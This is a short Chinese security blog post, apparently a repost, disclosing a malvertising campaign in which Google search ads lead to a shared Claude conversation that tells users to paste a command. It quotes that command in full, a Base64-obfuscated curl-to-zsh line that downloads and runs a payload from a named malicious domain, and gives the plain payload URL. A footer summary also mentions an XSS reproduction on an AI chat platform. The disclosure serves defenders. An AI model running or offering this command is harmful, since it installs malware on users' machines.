关于使用Google竞价排名分享Claude对话的恶意投毒"

admin 2026-10-20 16:05:58 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

关于使用Google竞价排名分享Claude对话的恶意投毒

原创

安全赛博
安全赛博

安全赛博

2026年6月22日 16:52
日本

在小说阅读器读本章

去阅读

使用Google搜索Claude后,如下图所示

点击右键复制该链接

https://www.google.com/aclk?sa=L&ai=DChsSEwiFzZDkoZqVAxV0MYMDHW55GgAYACICCAEQABoCc2Y&co=1&gclid=EAIaIQobChMIhc2Q5KGalQMVdDGDAx1ueRoAEAAYASAAEgLzlfD\_BwE&cid=CAASugHkaEleAL\_qix3WNmf5KFhjWXY1CLZmw3Vyg\_9Dag2cVhT3niwsiIfWa\_feP7LDk8IIMPg4M9sS48NvLPqMsx3EKWJ9r5Jn7qZRrtvj2jhiD0ughe7KKLM4DPUEvuqNjwPZjudSbGtd6S11bbWaffBnAtGiDoh38pyfXnjiWUx-clFML-QjupXC4SgGhp1yZEXfgm4eiIWbvfima9uz6hedd7fU4BLMI-1KHFUfF1vNV3NH4ItNt0E\_tLA&cce=1&sig=AOD64\_17Kl08AmAPTs8rKSMlrwhue0ebuQ&q&adurl&ved=2ahUKEwjXrIjkoZqVAxUL3TgGHc7DOqoQ0Qx6BAgVEAE

直接点击该链接进入,看到的依旧是Claude官方域名

https://claude.ai/share/b36c465d-3254-4ff5-b67f-5bce24c4a431?utm\_source=google

解开Base64的编码

curl -kfsSL $(echo 'aHR0cDovL2dhcmFnZWRvb3Jza2VudHVja3kuY29tL2N1cmwvMzM4NDk3YmU4MWQ0OWE2NmU3ZmYwODMwZjBlMDc2ZDFiOTU1NTJkNmIzMTI0MWExNmRiZGVkMWViNmFlOGQ2ZQ=='|base64 -D)|zsh

将这个文件进行下载分析(下载地址为http://garagedoorskentucky.com/curl/338497be81d49a66e7ff0830f0e076d1b95552d6b31241a16dbded1eb6ae8d6e)

分析结果如下

关于分析不再过多赘述


关于使用Google竞价排名分享Claude对话的恶意投毒" 网络安全文章

关于使用Google竞价排名分享Claude对话的恶意投毒"

文档披露了一种通过Google竞价排名传播的Claude对话恶意投毒攻击手法。攻击者购买Claude相关关键词广告,伪装成官方链接诱导用户点击,实际重定向至恶意域名并执行Base64编码的恶意脚本(如garagedoorskentucky.com/curl/…)。该手法属于供应链攻击变种,利用用户对搜索引擎广告的信任实施投毒。建议用户谨慎点击竞价排名链接,优先通过官方渠道访问服务。
豆包的xss漏洞复现(蹭热点版)" 网络安全文章

豆包的xss漏洞复现(蹭热点版)"

文档展示了在豆包平台复现XSS漏洞的过程:通过插入恶意脚本标签生成HTML页面,经预览和分享功能生成可访问链接。内容显示漏洞存在但缺乏技术分析深度,作者表明此为娱乐性质测试。
工业网络安全周报-2026年第21期" 网络安全文章

工业网络安全周报-2026年第21期"

本期工业网络安全周报涵盖人工智能安全服务资质发布、政策法规更新、高危漏洞预警及安全事件分析。核心内容包括国家推出AI安全资质评估体系,网信办等联合发布数据安全风险评估办法,曝光Splunk、FortiSandbox等系统的关键漏洞,并预警VoidLink恶意软件及AutoJack攻击链风险。报告还涉及智能体安全、算力互联网治理等前沿技术分析,为企业提供合规指引和威胁应对建议。
评论:0   参与:  0